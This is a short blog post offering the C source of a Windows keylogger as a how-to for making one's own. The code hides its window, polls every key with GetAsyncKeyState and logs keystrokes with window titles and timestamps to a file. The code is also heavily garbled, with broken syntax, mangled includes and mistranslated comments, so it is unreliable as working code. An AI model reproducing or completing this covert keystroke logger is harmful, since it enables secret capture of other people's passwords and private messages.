Keylogger in c


This is the code in c . how to make your own keylogger in c....




/ *Features:- Starts on the route where executed
  
| Do not add to the record |- Keep a log of all events as well as keystrokes,
  
in the "LgPh.log" with the window title and dateHe runs in HIDE
- Contact:Coded by Lympex - lympex [at] gmail [dot] com & & http://l-bytes.tk* // *
Modification of basic keyloguer - Coded by P [i]Final keyloguer Modification - mrobles------------------------------------------------
- Modified the way to identify you the keys.- When pressed 850 keys are also stored (Sino gives an error)

P [i] - serxoker@yahoo.esa-la-saca3@hotmail.com
* /
# Include <stdio.h>Stdlib.h# Include <windows.h># Include <time.h>
# Define OK -32767
int main () {GetForegroundWindow HWND window = ();ShowWindow (window, SW_HIDE);
 
{
    
FILE * log;
    
HWND window;
    
time_t last;
    
int key = 0;
    
int cont = 0;
    
TVentana char [500] = "";
    
char keys [10240 ]=""; / / 0 1 2 3 4 5 6 7 8 9 10
    
char symbol [256] [15] = / * 0 * / {"","","[ ]","[ CliC CliC-I-D-C ]","","[ CliC ]","" Back ]","[ ]","", ,"","[ TAB
                          
/ * 1 * / "","","[ ]","[ ENTER SHIFT CONTROL ]","","","[ ]","","[ ]","[ ALT Shift] "
                          
/ * 2 * / Esc "","","","","","","[ ]","","","",
                          
/ * 3 * / "" "" "[Re-Av-Pag Pag ]","[ ]","","[ ]","[ Left Up Home ]","[ ]","[]","[ Right Down] "
                          
/ * 4 * / PrtSc "","","","[ ]","[ ]","[ Delete Insert ]",""," 0 "," 1 "," 2 ",
                          
/ * 5 * / "3", "4", "5", "6", "7", "8", "9 ","","","",
                          
/ * 6 * / "","","",""," a "," b "," c "," d "," e "," f "
                          
/ * 7 * / "g", "h", "i", "j" "k", "l", "m", "n", "o", "p"
                          
/ * 8 * / "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
                          
/ * 9 * / "[WIN-WIN-D I ]","[ ]","[ D-WIN ]","",""," 0", "1", "2", "3" ,
                          
/ * 10 * / "4", "5", "6", "7", "8", "9 ","*","+"," ","-",".",
                          
/ * 11 * / "/","[ ]","[ F1 F2 F3 ]","[ ]","[ F4 F5 ]","[ ]","[ ]","[ F6 F7] " "[F8 ]","[ F9]"
                          
/ * 12 * / "[F10 ]","[ ]","[ F11 F12]" "" "" "" "" "" "" ""
                          
/ * 13 * / "" "" "" "" "" "" "" "" "" "" ""
                          
/ * 14 * / "" "" "[Num Lock]" "" "" "" "" "" ""
                          
/ * 15 * / "" "" "" "" "" "" "" "" "" "[Shift-I]"
                          
/ * 16 * / "[Shift-D]" "" "" "" "" "" "" "" "" ""
                          
/ * 17 * / "" "" "" "" "" "" "" "" "" ""
                          
/ * 18 * / "" "" "" "" "" "" "",",","-",".",
                          
/ * 19 * / "" "" "" "" "" "" "" "" ""
                          
/ * 20 * / "" "" "" "" "" "" "" "" "" "" ""
                          
/ * 21 * / "" "" "" "" "" "" "" "","'"," \ \"
                          
/ * 22 * ​​/ "¡","'"};
     
   
log = fopen ("log.log", "a");
   
fprintf (log, "\ n /******************************/");
   
fprintf (log, "\ n / * [*] KeyLoGuer */");
   
fprintf (log, "\ n / * [*] Starting ... OK");
   
fprintf (log, "\ n /******************************/");
   
fclose (log);
          
   
GetForegroundWindow window = ();
  
   
while (1) {
      
if ((GetForegroundWindow ()! = window) | | (cont == 850)) {
         
if (strlen (TVentana)> 0 & & strlen (keys)> 0) {
            
time (& last);
            
ctime (& last);

            
log = fopen ("log.log", "a");
            
fprintf (log, "\ n \ n [*] Date:% s", ctime (& last));
            
fprintf (log ,"[*] Window:% s ", TVentana);
            
fprintf (log, "\ n [*] Text:% s", key);
            
fprintf (log, "\ n");
            
fprintf (log, "\ n /******************************/ \ n");
            
fclose (log);

            
free (Keys);
            
strcpy (Keys ,"");
            
cont = 0;
            
}
         
GetForegroundWindow window = ();
         
}
      
else {
           
GetWindowText (window, TVentana, 500);
           
}
      
for (key = 4; key <256; key + +) {
          
if (GetAsyncKeyState (key) == OK) {
              
strcat (keys, symbol [key]);
              
printf ("% s \ n", symbol [key]);
              
cont + +;
              
}
          
}
    
}}}

0 Response to Keylogger in c

Post a Comment